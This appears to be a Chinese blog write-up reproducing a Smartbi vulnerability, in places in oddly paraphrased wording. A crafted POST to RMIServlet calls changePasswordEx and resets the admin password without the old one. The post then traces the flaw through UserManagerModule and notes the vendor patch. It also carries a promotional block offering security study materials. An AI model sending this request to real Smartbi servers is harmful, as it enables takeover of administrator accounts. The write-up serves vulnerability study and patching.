漏洞复现

在页面上修正密码时,须要知道原来的用户对应的密码

修改密码jspSmartbi 修正用户暗码破绽 GraphQL

直接布局这样的数据包,就不须要知道原来的密码,知道用户名就可以修正密码

POST /smartbi/vision/RMIServlet HTTP/1.1Host: 192.168.222.133:18080Content-Length: 73Cache-Control: max-age=0If-Modified-Since: 0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: /Origin: http://192.168.222.133:18080Referer: http://192.168.222.133:18080/smartbi/vision/index.jspAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=4A4AC06EC1DF3CDDC45239C211926FA1Connection: closeclassName=UserService&methodName=changePasswordEx¶ms=["admin","","1"]

​​

漏洞剖析

smartbi.usermanager.ILocalUserManagerModule#changePasswordEx​

smartbi.usermanager.UserManagerModule#changePasswordEx​

修正密码的操作虽然获取了用户名 原来的密码 修正后的新密码,但是对原来的密码并没有做任何校验处理

【----帮助网安学习,须要网安学习资料关注我,私信回答“资料”免费获取----】① 网安学习发展路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞剖析报告④ 150+网安攻防实战技能电子书⑤ 最威信CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂口试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)

userId 是根据传入的用户名查询到的

smartbi.usermanager.UserManagerModule#updateUserEx​

smartbi.usermanager.UserManagerModule#updateUserExtend​

漏洞修复

上传补丁包后再发送数据包,创造被拦截

匹配到对应的类名和方法就结束实行